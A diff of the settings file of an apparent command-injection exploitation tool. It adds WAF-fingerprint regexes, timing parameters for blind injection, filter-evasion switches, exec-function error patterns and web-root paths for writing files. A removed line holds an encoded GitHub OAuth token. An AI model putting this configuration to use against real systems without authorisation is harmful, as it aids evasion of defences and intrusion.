UNAUTHORIZED_ERROR = "401" @@ -907,18 +2398,25 @@ def sys_argv_errors(): NOT_FOUND_ERROR = "404" NOT_ALLOWED = "405" NOT_ACCEPTABLE_ERROR = "406" +LENGTH_REQUIRED = "411" +REQUEST_URI_TOO_LONG = "414" +TOO_MANY_REQUESTS = "429" +UNAVAILABLE_FOR_LEGAL_REASONS = "451" INTERNAL_SERVER_ERROR = "500" NOT_IMPLEMENTED = "501" BAD_GATEWAY = "502" SERVICE_UNAVAILABLE = "503" GATEWAY_TIMEOUT = "504" - -HTTP_ERROR_CODES = [ BAD_REQUEST, +HTTP_ERROR_CODES = [ BAD_REQUEST, UNAUTHORIZED_ERROR, FORBIDDEN_ERROR, NOT_FOUND_ERROR, NOT_ALLOWED, NOT_ACCEPTABLE_ERROR, + LENGTH_REQUIRED, + REQUEST_URI_TOO_LONG, + TOO_MANY_REQUESTS, + UNAVAILABLE_FOR_LEGAL_REASONS, INTERNAL_SERVER_ERROR, NOT_IMPLEMENTED, BAD_GATEWAY, @@ -926,8 +2424,70 @@ def sys_argv_errors(): GATEWAY_TIMEOUT ] +# Seconds added to the delay between requests, when the target answers as if it has had enough. +ADAPTIVE_DELAY = 0 +# Where the backing off stops, and how many answered requests it takes to give a second back. +MAX_ADAPTIVE_DELAY = 8 +ADAPTIVE_DELAY_RECOVERY = 10 +ADAPTIVE_DELAY_STREAK = 0 + +# HTTP status codes a WAF/IPS typically returns when it blocks a request. +WAF_BLOCK_HTTP_CODES = [ FORBIDDEN_ERROR, + NOT_ACCEPTABLE_ERROR, + TOO_MANY_REQUESTS, + UNAVAILABLE_FOR_LEGAL_REASONS, + NOT_IMPLEMENTED, + SERVICE_UNAVAILABLE + ] + +# Server header / cookie name / block-page body fingerprints for common WAF/CDN products, checked +# against the first blocked response seen; a response matching none of them falls back to the +# generic "some kind of WAF/IPS" wording instead of naming one. +WAF_SIGNATURES = { + "Cloudflare": r"(?i)cloudflare|cf-ray|__cfduid|cf_clearance", + "Akamai": r"(?i)akamaighost|ak_bmsc|reference\s*#\d+\.[0-9a-f]+", + "Imperva Incapsula": r"(?i)incapsula|incap_ses|visid_incap", + "F5 BIG-IP ASM": r"(?i)big-?ip|bigipserver|the requested url was rejected", + "Sucuri": r"(?i)sucuri", + "ModSecurity": r"(?i)mod_security|owasp[_ ]core[_ ]rule[_ ]set", + "FortiWeb": r"(?i)fortiweb|fortiwafsid", + "Citrix Application Firewall": r"(?i)citrix application firewall|ns_af=", + "Barracuda WAF": r"(?i)barracuda|barra_counter_session", + "Wallarm": r"(?i)wallarm", + "AWS WAF": r"(?i)aws waf|x-amzn-waf" + } + +HTTP_ERROR_CODES_SUM = [] + +# Statuses a gateway gives about itself rather than about the request, so the same request put to +# it again may well be answered - unlike a 4xx, which is the target's answer and will not change. +TRANSIENT_HTTP_ERROR_CODES = (INTERNAL_SERVER_ERROR, BAD_GATEWAY, SERVICE_UNAVAILABLE, GATEWAY_TIMEOUT) + +# The status the last request came back with, where that status was an error - see headers.resend(). +LAST_HTTP_ERROR = None + +# Set once the target has been found unusable, so the phases behind the check are not spent on it. +TARGET_UNUSABLE = False +# Asked at most once per run, and remembered where the answer was to carry on regardless. +NOT_FOUND_PROMPTED = False +IGNORE_NOT_FOUND = False +# Asked at most once per run, where the two samples of the page did not come back the same. +UNSTABLE_PROMPTED = False + +# Where honouring a 'Retry-After' stops, so a target naming an hour cannot park the run for one. +RATE_LIMIT_MAX_DELAY = 60.0 +# Turned off for the run once the target answers that it will not read a chunked body. +CHUNKED_UNSUPPORTED = False + # End line -END_LINE = ["\r", "\n", "\r\n"] +class END_LINE: + CR = "\r" + LF = "\n" + CRLF = "\r\n" + ESCAPED_CR = "\\r" + ESCAPED_LF = "\\n" + +# List of end lines # Check for updates on start up. CHECK_FOR_UPDATES_ON_START = True @@ -935,10 +2495,12 @@ def sys_argv_errors(): # Skip the mathematic calculation (Detection Phase) SKIP_CALC = False -USE_BACKTICKS = False +# Confirm the time-based technique with a plain, uncomputed delay - no '$(...)' or backtick at all - +# for a target whose filter blocks command substitution outright but still lets a separator through. +SKIP_SUBST = False METASPLOIT_ERROR_MSG = "You need to have Metasploit installed. " -METASPLOIT_ERROR_MSG += "Please ensure Metasploit is installed in the right path." +METASPLOIT_ERROR_MSG += "Please ensure it is installed in the right path." # Target URL reload URL_RELOAD = False @@ -949,21 +2511,290 @@ def sys_argv_errors(): # Check for multi encoded payloads MULTI_ENCODED_PAYLOAD = [] -# Default Timeout -TIMEOUT = 31 +# Default Timeout (Seconds to wait before timeout connection) +TIMEOUT = 30 + +# The shortest wait worth believing an answer from. Under it, a target that is merely slow is +# indistinguishable from one that is not answering at all, and every technique reading that silence +# reports a parameter as not injectable for a reason that was never the target's. +MIN_SAFE_TIMEOUT = 3 # Retries when the connection timeouts (Default: 3). MAX_RETRIES = 3 -# End of file -EOF = False +# Said once per target, where the retries ran out on a page '--retry-on' still matches. +RETRY_ON_EXHAUSTED = False + +# Failed writes to the web root, at most, before the temporary directory is offered instead. A +# smaller set of boundaries than this is gone through in full first, rather than stopped one short. +MAX_FAILED_TRIES = 50 + +# Consecutive connection errors tolerated before giving up. +CONNECTION_ERROR_RETRIES = 0 +MAX_CONNECTION_ERROR_RETRIES = 5 + +# Count of connection-error warnings shown. +VISIBLE_CONNECTION_ERRORS = 0 + +# Statistical model for recognizing a delay against this target's own response times. +TIME_STDEV_COEFF = 7 +TIME_OUTLIER_MAD_COEFF = 10 +# Decision-threshold floor and shrink-candidate validity margin. +MIN_VALID_DELAYED_RESPONSE = 0.5 +# Minimum delay-threshold margin above the mean, as a fraction of the mean. +MIN_RELATIVE_DELAY_MARGIN = 0.5 +WARN_TIME_STDEV = 0.5 +# The same spread, read against the target's own pace. Half a second of movement is a lot on a page +# that answers at once and nothing at all on one that runs a command first, so a target is called +# laggy only where its answers also move by this much of what they take. +WARN_TIME_RELATIVE_STDEV = 0.25 + +# One escalate/shrink step, in seconds - separate from the floor above. +TIME_DELAY_STEP = 1 +# Target size of the upfront baseline warm-up. +MIN_TIME_RESPONSES = 30 +MAX_TIME_RESPONSES = 200 +RESPONSE_TIMES = [] + +# Answers to the technique's own payload with a condition that cannot hold, kept apart from +# the plain requests the model is warmed up with: those two cost different amounts. +PROBE_RESPONSE_TIMES = [] +MIN_PROBE_RESPONSES = 5 +# How much of a plain request's cost a probe has to carry before its timing is believed to be one. +# Below this the payload never reached the sink, so the answer timed is something else's. +MIN_PROBE_RELATIVE_COST = 0.5 + +# Samples needed before spikes are worth stripping from a response-time model. Tied to the smaller +# of the two models rather than the larger: the probe model is read from five samples up, and left +# unfiltered until fifteen a single slow probe sets the threshold above the delay it must detect. +MIN_OUTLIER_SAMPLE = MIN_PROBE_RESPONSES +# Set once a time-related payload's own cost has been sampled into the model above. +PAYLOAD_BASELINE_SAMPLED = False +# Whether the model above was sampled the way the payloads that follow are sent - concurrently, +# where '--threads' asks for it. A target answers a request slower while it is serving others. +CONCURRENT_BASELINE = False +LAGGING_CHECKED = False +LAGGING_DETECTED = False +TIME_DELAY_CANDIDATES = 3 +# Retries for a failed (not just slow) request during time-based measurement. +TIME_RELATED_ATTACK_RETRIES = 3 + +# Best known timesec for this target. +CALIBRATED_TIMESEC = None + +# Latched once a re-verification ever fails - widens retries and upgrades checks to a vote. +JITTER_SEEN = False +MAX_LENGTH_REVALIDATIONS = 5 + +# Use the observed charset for bisection when it is small enough; otherwise use the full range. +NARROWING_MIN_OBSERVED = 3 +NARROWING_MAX_SET_SIZE = 64 + +# Number of most-frequent characters probed directly before bisecting. +FREQUENCY_PROBE_TOP_K = 3 + +# How often a byte has to repeat before the set already seen is worth halving instead of the pool. +# Asking about that set and being wrong costs the questions it took plus the pool's own halving, so +# it only pays where the output really does say the same things over again - an output of mostly +# distinct bytes answered more slowly for being asked the clever way. +NARROWING_MIN_REPEAT_RATIO = 2 + + +# Prevent auto-shrink from undoing a delay increase after validation. +ADJUST_TIME_DELAY_DISABLED = False + +# User's one-time answer to time-sec optimization; None means not asked yet. +ADJUST_TIME_DELAY_CHOICE = None + +# Count clean validations since the last retry before re-enabling automatic delay adjustment. +VALIDATION_RUN = 0 +VALID_TIME_CHARS_RUN_THRESHOLD = 100 + +# User's one-time answer to the multi-threading safety prompt; None means not asked yet. +THREADED_TIME_RETRIEVAL_CHOICE = None + +# Technique titles to suppress when a fallback already announced the transition. +# The (parameter, technique) last announced, so a re-announcement reads as "Continuing with". +LAST_ANNOUNCED_TECHNIQUE = None + +""" +How many requests had been sent when a technique announced itself, so that a line closed by +something else can be told apart by whether any testing actually happened after it. +""" +LAST_ANNOUNCED_REQUESTS = 0 + +""" +How often real output has broken into an open progress line, and what that stood at when a technique +last announced itself. + +Compared rather than counted for its own sake: a technique whose line was interrupted by a question +resumes as "Continue testing the ...", while one announced again with nothing printed in between was +never interrupted and stays "Testing the ..." - the reader saw no break for it to continue from. +""" +PROGRESS_INTERRUPTIONS = 0 +LAST_ANNOUNCED_INTERRUPTIONS = 0 + +""" +The technique whose title has already been said a second time. A technique that stops to ask +something more than once would otherwise announce itself again on every resume, turning one line +into a column of identical ones. +""" +LAST_RESUMED_TECHNIQUE = None + +# The output file last announced, so the same one is not announced again for every separator tried. +LAST_ANNOUNCED_OUTPUT_FILE = None + +# The history file already reported as unwritable, so every path out of a run does not repeat it. +FAILED_HISTORY_FILE = None + +# How much of git's own complaint is repeated when an update fails. +MAX_UPDATE_REASON_LENGTH = 200 + +# How many answers the concurrency probe times on each side, and the total below which it cannot say. +CONCURRENCY_PROBE_REQUESTS = 16 +CONCURRENCY_PROBE_FLOOR = 0.05 + +# Said while the target's own response times are still being sampled, so a delay can be told apart. +TIMING_BASELINE_MSG = "Time-related response comparison requires a larger statistical model" +# The second model, taken from the payload's own shape: what it costs to ask is part of the time an +# answer takes, and the threshold a delay is read against has to stand above that too. +TIMING_PAYLOAD_BASELINE_MSG = "Time-related response comparison requires a larger statistical model for the payload in hand" + +# Retries for the false-positive/unexploitable-point re-verification during detection. +FALSE_POSITIVE_RETRIES = 3 + +# Verification rounds for classic/eval/file-based. +RESULTS_BASED_VERIFY_ROUNDS = 2 + +# Prefix marking an interrupted command result. +PARTIAL_VALUE_MARKER = "\x02COMMIX_PARTIAL\x02" + +# Max characters shown at once in the live progress line. +# Below this a line is a label rather than a sentence, and says too little to name an answer by. +CANDIDATE_SENTENCE_MIN_LENGTH = 10 + +# Long enough to be distinctive, short enough to be typed back by hand. +BOOLEAN_STRING_HINT_MAXLEN = 40 + +# How far either side of a difference to reach for the context that makes it unique, smallest first. +BOOLEAN_STRING_HINT_MARGINS = (10, 18, 26, 34) + +PROGRESS_DISPLAY_WIDTH = 60 + +# How much of the estimate on screen is kept when a fresh one is worked out, so that one slow +# character does not swing the countdown. +ETA_DISPLAY_SMOOTHING = 0.5 +# What the bar is given when the terminal's own width cannot be read, and the least it is drawn in. +DEFAULT_CONSOLE_WIDTH = 80 +MIN_PROGRESS_WIDTH = 20 + +# Stands in for a character the time-related techniques never resolved, in the live progress line +# and in the output they return - a dropped one would read as a value that was fully retrieved. +UNRESOLVED_CHAR = "?" + +# What a run that ended on an error exits with, so that a caller can tell it apart from one that +# finished. A run ending any other way - the user quitting, the work being done - still exits zero. +EXIT_FAILURE = 1 + +# What a run that tested everything it was asked to and found nothing exits with. Apart from the +# one above, because a caller gating on commix has to tell a target that came back clean from a +# scan that never got to look - both of which used to end the same way. +EXIT_NOTHING_FOUND = 2 + +# Requests dropped on a timeout because '--ignore-timeouts' was given, counted for the run's summary. +IGNORED_TIMEOUTS = 0 + +# The parameters '--randomize' was given, each one carrying a fresh value on every request. +RANDOMIZE_PARAMETERS_LIST = [] + +# The target's own first page, and the values its '<select>' menus offer - a parameter that is a +# menu is randomized by picking one of its own options, rather than by inventing a value. +ORIGINAL_PAGE = "" + +# Whether the target's page came back the same twice, and how alike the two samples were. +PAGE_STABLE = None +PAGE_NOISE_RATIO = 1.0 + +# The target's page as it is worth comparing: its text, with the regions that move by themselves out. +ORIGINAL_PAGE_COMPARABLE = "" + +# The page the parameter answers with while a short random value stands in for its own, and the +# value that was taken for - the page kept at startup is the target as it was given, which is a +# different request once the stand-in is in place. +STAND_IN_PAGE = "" +STAND_IN_PAGE_FOR = None + +# Where the page was found to move on its own, as what sits either side of each such region. +DYNAMIC_MARKINGS = [] + +# Whether the regions the page moves on its own have been looked for a second time, against a +# request shaped the way the run's own requests are. The first look is taken when the target is +# reached, which is before a cookie or a body is in play - and a target that only runs the command +# once it has one prints nothing that moves until then, so that look finds nothing to record. +DYNAMIC_MARKINGS_RESAMPLED = False + +# How much of the text either side of a moving region is kept to anchor on. +DYNAMICITY_BOUNDARY_LENGTH = 20 + +# Below this share of text, a page tells a comparison of whole pages next to nothing. +LOW_TEXT_PERCENT = 20 +RANDOM_POOL = {} +RANDOM_POOL_READ = False + +# The places '--param-filter' was given, in upper case - a parameter elsewhere is not tested. +PARAM_FILTER_PLACES = [] + +# Said once, however many requests a SOCKS4 proxy carries. +SOCKS4_DNS_WARNING = False + +# The proxies read from '--proxy-file', and which of them is in use. +PROXY_LIST = [] +PROXY_LIST_INDEX = 0 +# What '--proxy-cred' was given as, for the entries of the list that carry none of their own. +PROXY_LIST_CRED = None + +# The request '--safe-req' was given, parsed once and replayed as it was written. +SAFE_REQUEST = None + +# The request '--second-req' was given: where the output of an injection shows up, rather than +# where the injection is sent. +SECOND_ORDER_REQUEST = None + +# Every request this run has sent, counted for the options that act every so many of them. +REQUEST_COUNTER = 0 + +# The anti-CSRF token: what names it (an expression) and what the user wrote. +CSRF_TOKEN = None +CSRF_TOKEN_ORIGINAL = None + +""" +The requests the run makes around the one it is measuring: the page a second-order result shows up +on, the visit that keeps a session alive, the fetch of the page an anti-CSRF token is read from. +Each is marked while it is on its way, so that it fetches nothing of its own kind, is left out of +the count the pacing options act on, and is not taken for a second attempt at the request it was +made around. + +Held per thread rather than for the run: each is asked for by a run-wide option, but the request +it makes is made by one worker, and whatever another worker has in flight at that moment is a +request of its own. Read off one flag shared by all of them, that request is taken for part of +someone else's errand - left out of the tally its own retry check is read against, and left out of +the pacing that '--safe-freq' and '--proxy-freq' go by. +""" +SIDE_REQUEST_KINDS = ("second_order", "safe_request", "csrf_token", "file_check") +SIDE_REQUESTS = _threading.local() + +# Whether this thread is in the middle of one of them - of the kind named, or of any kind at all. +def in_side_request(kind=None): + names = (kind,) if kind else SIDE_REQUEST_KINDS + return any(bool(getattr(SIDE_REQUESTS, name, False)) for name in names) + +# Mark this thread as being in one of them, or out of it again. +def set_side_request(kind, value): + setattr(SIDE_REQUESTS, kind, value) # Init Test INIT_TEST = "" -# Check Tor again -TOR_CHECK_AGAIN = True - # URL for checking internet connection. CHECK_INTERNET_ADDRESS = "http://ipinfo.io" @@ -976,14 +2807,45 @@ def sys_argv_errors(): CHECK_BOTH_OS = False OS_CHECKS_NUM = 2 -# Options to explicitly mask in anonymous (unhandled exception) reports. -SENSITIVE_OPTIONS = ["--data", "-d", "--cookie", "-p", "--url", "-u", "-x", "--auth-cred", "-r", "-l"] +# The banner did not name an operating system, and no heuristic has answered yet either. While this +# stands, the question is still open - it is put to the user only once nothing else has settled it. +OS_IDENTIFICATION_PENDING = False -# Github OAuth token used for creating an automatic issue for unhandled exceptions. -GITHUB_REPORT_OAUTH_TOKEN = "YjNiYjdhZDBlYzM2MmM2NGEzYTAzZTc4ZDg1NmYwZTUyZGZlN2EyZQ==" +# A language the target named for itself, e.g. through 'X-Powered-By'. The sweep starts with it. +IDENTIFIED_EVAL_LANGUAGE = None -# Tranform payloads (via tamper script(s)) -TRANFROM_PAYLOAD = None +# Options to explicitly mask in anonymous (unhandled exception) reports. +# Everything that can carry a target's identity or a credential into a report meant for strangers. +# The locale a payload measures its own output in. +# +# '${#var}' counts characters, and the retrieval beside it counts bytes - 'cut -c', 'tail -c' and +# the ordinal that reads one back. A shell in a UTF-8 locale makes the two disagree on any output +# that is not ASCII, so the length a run is given is short and the last bytes are never asked for. +# Pinned where the separator under test can carry the assignment, which adds nothing new to filter. +BYTE_LOCALE = "LC_ALL=C" + +# The same locale, exported - what a measurement taken by a command of its own ('expr length') needs, since an assignment the shell keeps to itself never reaches one. +BYTE_LOCALE_EXPORTED = "export " + BYTE_LOCALE + +# What a crash report may not carry. Named twice over, because one pass is not enough. +# +# The values come first: whatever these options were given is masked wherever it turns up, not only +# where it follows the option's own name - a credential read back inside a stack trace, a URL +# rebuilt into a message, a path printed by something else all leak past a pattern written around +# the command line. Named by the parser's own destination, so an alias cannot miss. +SENSITIVE_VALUE_OPTIONS = ("url", "data", "cookie", "host", "referer", "header", "headers", + "proxy", "proxy_cred", "proxy_file", "auth_cred", "auth_data", + "auth_url", "auth_file", "oob_token", "csrf_token", "csrf_data", + "csrf_url", "safe_url", "second_url", "reg_data") + +# And the command line itself, for a value that never reached an option - a typo, or a run that +# died before the parser finished. Matched on the option as typed, aliases and all. +SENSITIVE_OPTIONS = ["--data", "--data-raw", "-d", "--cookie", "-p", "--url", "-u", "-x", + "--auth-cred", "--auth-creds", "--auth-data", "--auth-url", "--auth-file", + "--proxy-cred", "--proxy-file", "--oob-token", "-r", "-l", + "--proxy", "--header", "-H", "--headers", "--load-cookies", "--live-cookies", + "--csrf-token", "--csrf-data", "--csrf-url", "--reg-data", + "--safe-url", "--second-url", "--host", "--referer"] CAPTCHA_DETECED = None @@ -992,39 +2854,494 @@ def sys_argv_errors(): # Regular expression used for recognition of generic "your ip has been blocked" messages. BLOCKED_IP_REGEX = r"(?i)(\A|\b)ip\b.*\b(banned|blocked|block list|firewall)" +BLOCKED_IP_DETECTED = None + +""" +Regular expressions used for parsing shell and interpreter errors out of a response ('--parse-errors'). + +Each one is a signature rather than a guess at what an error looks like, because what makes these +worth printing is that they cannot be anything else: a page saying them ran what it was given and +could not make sense of it, which is a different answer from a parameter that never reached a shell. +""" +SHELL_ERROR_REGEXES = ( + # POSIX shells, naming themselves before whatever they could not do. + r"(?P<result>[\w./\\-]{0,64}sh: [^\n]{0,192}?(?:command not found|not found|[Ss]yntax error|unexpected|[Uu]nterminated|[Pp]ermission denied|[Nn]o such file or directory|cannot (?:open|create|execute))[^\n]{0,96})", + # Windows command interpreter. + r"(?P<result>'[^'\n]{1,64}' is not recognized as an internal or external command[^\n]{0,64})", + r"(?P<result>The syntax of the command is incorrect\.)", + r"(?P<result>The system cannot find the (?:path|file) specified\.)", + # PHP, reporting from the function the payload landed in. + r"(?P<result>(?:Warning|Notice|Fatal error|Parse error)[^\n]{0,192}?(?:shell_exec|passthru|proc_open|pcntl_exec|popen|system|exec|eval)\(\)[^\n]{0,160})", + r"(?P<result>[^\n]{0,96}?has been disabled for security reasons[^\n]{0,32})", + # What an interpreter says about code it could not parse, whichever one it is. + r"(?P<result>[^\n]{0,64}?syntax error, unexpected [^\n]{1,128})", + r"(?P<result>[^\n]{0,96}?syntax error at [^\n]{1,96} line \d+[^\n]{0,64})", + r"(?P<result>(?:Syntax|Name|Type|Value|Import|ModuleNotFound|Attribute|Indentation|Reference|OS|FileNotFound|Permission)Error\s*:\s*[^\n]{1,160})", + r"(?P<result>Can't locate [^\n]{1,96} in @INC[^\n]{0,64})", +) + +""" +What has to be on a page before it is worth taking apart for the above. + +The set above is run over a page with its markup taken out, and doing that to every response a run +makes is work worth skipping - so a page is first looked at as it arrived, for the plain text that +every one of those signatures has to contain. Substrings rather than one alternation of them, +because a pattern of this many branches costs more to not match than these do to be looked for. +""" +SHELL_ERROR_HINTS = ("sh:", "syntax error", "Error", "not recognized as an internal", + "syntax of the command", "cannot find the", "disabled for security reasons", + "exec", "passthru", "proc_open", "popen", "system()", "eval()", "@INC") + +""" +What the current target has been found vulnerable at, for the CSV '--results-file' keeps. + +Gathered per target and written when it is finished with, so that one row stands for a parameter +rather than for each technique that answered through it. +""" +""" +What '--test-filter' and '--test-skip' were given, compiled once. + +Kept here rather than read from the option each time, because what the option holds is what the user +typed and what a boundary is measured against is a pattern - working that out per combination, over +every technique, is the same answer arrived at thousands of times. +""" +TEST_FILTER = None +TEST_SKIP = None + +""" +The functions '--preprocess' and '--postprocess' were given, loaded once. + +Held as functions rather than as the paths they came from, because a script is read and checked +before the first target is touched and then called for every request the run makes. +""" +PREPROCESS_FUNCTIONS = [] +POSTPROCESS_FUNCTIONS = [] + +RESULTS_FILE_ROWS = {} + +# What the file is called where a run over several targets was not given a name for it. +RESULTS_FILE_FORMAT = "results-%m%d%Y_%I%M%p.csv" + +# Written the first time a row is, and only then - an existing file is added to, not started again. +RESULTS_FILE_STARTED = False + +# Said once each, so a page answering the same way to every payload is not reported once per request. +PARSED_ERRORS = set() + +# Whether one was seen at all, which is worth saying even where they were not printed. +SHELL_ERROR_SEEN = False + # Prefix for Google analytics cookie names -GOOGLE_ANALYTICS_COOKIE_PREFIX = "__UTM" +GOOGLE_ANALYTICS_COOKIE_REGEX = r"(?i)\A(_ga|_gid|_gat|_gcl_au|__utm[abcz])" # Default path for tamper scripts -TAMPER_SCRIPTS_PATH = "src/core/tamper/" +TAMPER_SCRIPTS_PATH = os.path.abspath(os.path.join(os.path.dirname(__file__), '../',"tamper/")) + "/" # Default path for settings.py file -SETTINGS_PATH = os.path.abspath("src/utils/settings.py") +SETTINGS_PATH = os.path.abspath(__file__) # Period after last-update to start nagging (about the old revision). NAGGING_DAYS = 31 -LINUX_DEFAULT_DOC_ROOTS = ["/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs"] # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout -DEFINED_WEBROOT = False +# Stamp of the stored-session layout, part of every table name so that entries written by an +# earlier layout are never read back into a newer one; bump it whenever that layout changes. +SESSION_MILESTONE_VALUE = "sBxrpPDiKF" + +TARGET_URL = "" +# Host:port (matches session_handler.table_name()'s hashing), unlike TARGET_URL above. +TARGET_NETLOC = "" +DOC_ROOT_TARGET_MARK = "%TARGET%" + +# Windows common document roots +WINDOWS_DEFAULT_DOC_ROOTS = [ + "C:\\Inetpub\\wwwroot\\", # IIS default + "C:\\xampp\\htdocs\\", # XAMPP default + "C:\\wamp\\www\\", # WAMP default + "C:\\laragon\\www\\", # Laragon default + "D:\\Inetpub\\wwwroot\\", # IIS on D: drive (less common) +] +# Linux common document roots +LINUX_DEFAULT_DOC_ROOTS = [ + "/var/www/html/", # Debian/Ubuntu Apache default + "/var/www/" + DOC_ROOT_TARGET_MARK + "/public_html/", # Older Debian/Ubuntu with custom doc root + "/var/www/" + DOC_ROOT_TARGET_MARK + "/", # Alternative Debian/Ubuntu + "/usr/share/nginx/html/", # Nginx default + "/usr/local/apache2/htdocs/", # Apache default (source build) + "/usr/local/www/data/", # BSD-style + "/var/apache2/htdocs/", # Older Apache distros + "/var/www/nginx-default/", # Nginx variation + "/srv/www/htdocs/", # SUSE/Fedora style + "/usr/local/lsws/DEFAULT/html/" # LiteSpeed default +] + +# Broader prefixes '--web-root'(interactive)'s brute-force search combines with the suffixes below - +# independent of, and wider than, the common-location lists above. +BRUTE_DOC_ROOT_PREFIXES = { + OS.WINDOWS: ("C:\\inetpub\\wwwroot", "C:\\xampp\\htdocs", "C:\\wamp\\www", "C:\\wamp64\\www", "C:\\laragon\\www", "C:\\Program Files\\Apache Group\\Apache2\\htdocs", "C:\\inetpub\\vhosts\\" + DOC_ROOT_TARGET_MARK), + OS.UNIX: ("/var/www", "/var/www/" + DOC_ROOT_TARGET_MARK, "/var/www/vhosts/" + DOC_ROOT_TARGET_MARK, "/var/www/virtual/" + DOC_ROOT_TARGET_MARK, "/var/www/clients/vhosts/" + DOC_ROOT_TARGET_MARK, "/var/www/clients/virtual/" + DOC_ROOT_TARGET_MARK, "/var/www/html", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/srv/www", "/srv/http", "/usr/share/nginx/html", "/opt/lampp/htdocs", "/Library/WebServer/Documents", "/opt/homebrew/var/www"), +} +BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "public_html", "src", "site", "build", "web", "www", "data", "sites/all", "www/build") + +# The candidate directories still untried from the last directory-choice menu, nearest first - the +# one commix is already using is not in it, so a write failure pops straight to the next untried one. +WEB_ROOT_CANDIDATES = [] + +# Whether an auto-detected web root (or the directory-choice menu) has already had its one turn to +# be preferred without asking - cleared once isn't "still auto-detected" on the next retry, or every +# failed write would keep re-trying the same path instead of moving on to the next candidate. +WEB_ROOT_SETTLED_ONCE = False + +# Whether the generic "looking for a writable directory" notice has already been said once at +# default verbosity - a retry cycling through several candidates says it once, not once per +# candidate; '-v' above 0 still names every one of them as it goes. +WRITABLE_DIR_ATTEMPT_SAID = False + +# Which directory-choice menu answer the current web-root candidates came from (e.g. "common +# location(s)", "custom location(s)") - named at default verbosity instead of each path in turn, +# which only '-v' above 0 does. Empty where the root came from auto-detection, not the menu. +WEB_ROOT_CATEGORY_LABEL = "" + +""" +The answer the directory-choice menu already got, as (candidates, label). + +A pass that retries with a tamper script walks the candidates again, so the menu's own question +would otherwise be put a second and a third time - the same question, to someone who answered it +before the first retry was even offered. None where it has not been asked yet. +""" +WEB_ROOT_CHOICE = None + +""" +Where each web server commix recognises keeps its document root, per platform. + +Named rather than indexed, so the lists above can be reordered or added to without silently handing +a target somebody else's directory. A server missing from a platform has no default worth guessing. +""" +SERVER_DOC_ROOTS = { + # Tomcat names itself "Apache Tomcat" or "Apache-Coyote", so it is looked for before Apache is. + "coyote": {OS.WINDOWS: "C:\\Program Files\\Apache Software Foundation\\Tomcat\\webapps\\ROOT\\", + OS.UNIX: "/var/lib/tomcat/webapps/ROOT/"}, + "tomcat": {OS.WINDOWS: "C:\\Program Files\\Apache Software Foundation\\Tomcat\\webapps\\ROOT\\", + OS.UNIX: "/var/lib/tomcat/webapps/ROOT/"}, + "microsoft-iis": {OS.WINDOWS: "C:\\Inetpub\\wwwroot\\"}, + "apache": {OS.WINDOWS: "C:\\xampp\\htdocs\\", OS.UNIX: "/var/www/html/"}, + "openresty": {OS.WINDOWS: "C:\\openresty\\html\\", OS.UNIX: "/usr/share/nginx/html/"}, + "nginx": {OS.WINDOWS: "C:\\nginx\\html\\", OS.UNIX: "/usr/share/nginx/html/"}, + "litespeed": {OS.UNIX: "/usr/local/lsws/DEFAULT/html/"}, + "lighttpd": {OS.UNIX: "/var/www/html/"}, + "jetty": {OS.UNIX: "/var/lib/jetty/webapps/ROOT/"}, + "caddy": {OS.UNIX: "/usr/share/caddy/"}, +} + +DEFINED_WEBROOT = RECHECK_FILE_FOR_EXTRACTION = False # HTTP Headers COOKIE = "Cookie" HOST = "Host" USER_AGENT = "User-Agent" REFERER = "Referer" -HTTP_ACCEPT_HEADER = "Accept" - +ACCEPT = "Accept" +ACCEPT_LANGUAGE = "Accept-Language" +ACCEPT_ENCODING = "Accept-Encoding" +AUTHORIZATION = "Authorization" +CONTENT_LENGTH = "Content-Length" +CONNECTION = "Connection" +TRANSFER_ENCODING = "Transfer-Encoding" +PROXY_CONNECTION = "Proxy-Connection" +IF_MODIFIED_SINCE = "If-Modified-Since" +IF_NONE_MATCH = "If-None-Match" +CONTENT_TYPE = "Content-Type" +# A page that answers with the token itself, rather than with a page holding it. +PLAIN_TEXT_CONTENT_TYPE = "text/plain" +OK_RESPONSE_CODE = 200 +SERVER = "Server" +SET_COOKIE = "Set-Cookie" +X_POWERED_BY = "X-Powered-By" # HTTP Headers values -HTTP_ACCEPT_HEADER_VALUE = "*/*" +ACCEPT_VALUE = "*/*" +""" +What a browser asks for, sent in place of the catch-all above once the request is meant to read as +one. Kept to what every browser sends, so what the target is asked for does not change with it. +""" +HTTP_ACCEPT_BROWSER_VALUE = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" +HTTP_ACCEPT_LANGUAGE_BROWSER_VALUE = "en-US,en;q=0.5" +# What a body is sent as, unless it is recognised as one of the two below. +DEFAULT_HTTP_CONTENT_TYPE_VALUE = "application/x-www-form-urlencoded" +HTTP_CONTENT_TYPE_JSON_HEADER_VALUE = "application/json" +HTTP_CONTENT_TYPE_XML_HEADER_VALUE = "application/xml" +HTTP_CONTENT_TYPE_GRAPHQL_HEADER_VALUE = "application/graphql" +# Only what the response handling can actually decompress is asked for. +""" +The encodings a response may arrive in. + +Only what can be read back is asked for: a page that arrives in an encoding with no decoder is a +page that cannot be searched for anything, and the target has no way of knowing that. +""" +try: + from src.utils import brotli as _brotli +except ImportError: + try: + import brotli as _brotli + except ImportError: + try: + import brotlicffi as _brotli + except ImportError: + _brotli = None +try: + from compression import zstd as _zstd # Python 3.14+ carries it in the standard library +except ImportError: + _zstd = None + +try: + from src.thirdparty.chardet import detect as _detect_charset +except ImportError: + try: + from chardet import detect as _detect_charset + except ImportError: + try: + from charset_normalizer import detect as _detect_charset + except ImportError: + _detect_charset = None + +CHARSET_DETECTOR = _detect_charset +# The named entities a page may be written with, as the characters a browser would read them as - +# taken from the platform's own table rather than kept as a list of our own. +try: + from html.entities import name2codepoint as _name2codepoint +except ImportError: + from htmlentitydefs import name2codepoint as _name2codepoint +HTML_ENTITIES = dict(_name2codepoint) +# How much of a page is enough to guess what it is written in. +HEURISTIC_PAGE_SIZE_THRESHOLD = 20 * 1024 +# The charset a page declares, read out of its own head. +META_CHARSET_REGEX = r"""(?si)<head\b[^>]*>(?:(?!</head>).)*?<meta[^>]{0,300}?charset\s*=\s*["']?(?P<result>[^"'> ]+)""" +# Names a page may declare itself in that are not the names the codecs are registered under. +CHARSET_ALIASES = { + "windows-874" : "iso-8859-11", "utf-8859-1" : "utf8", "en_us" : "utf8", "macintosh" : 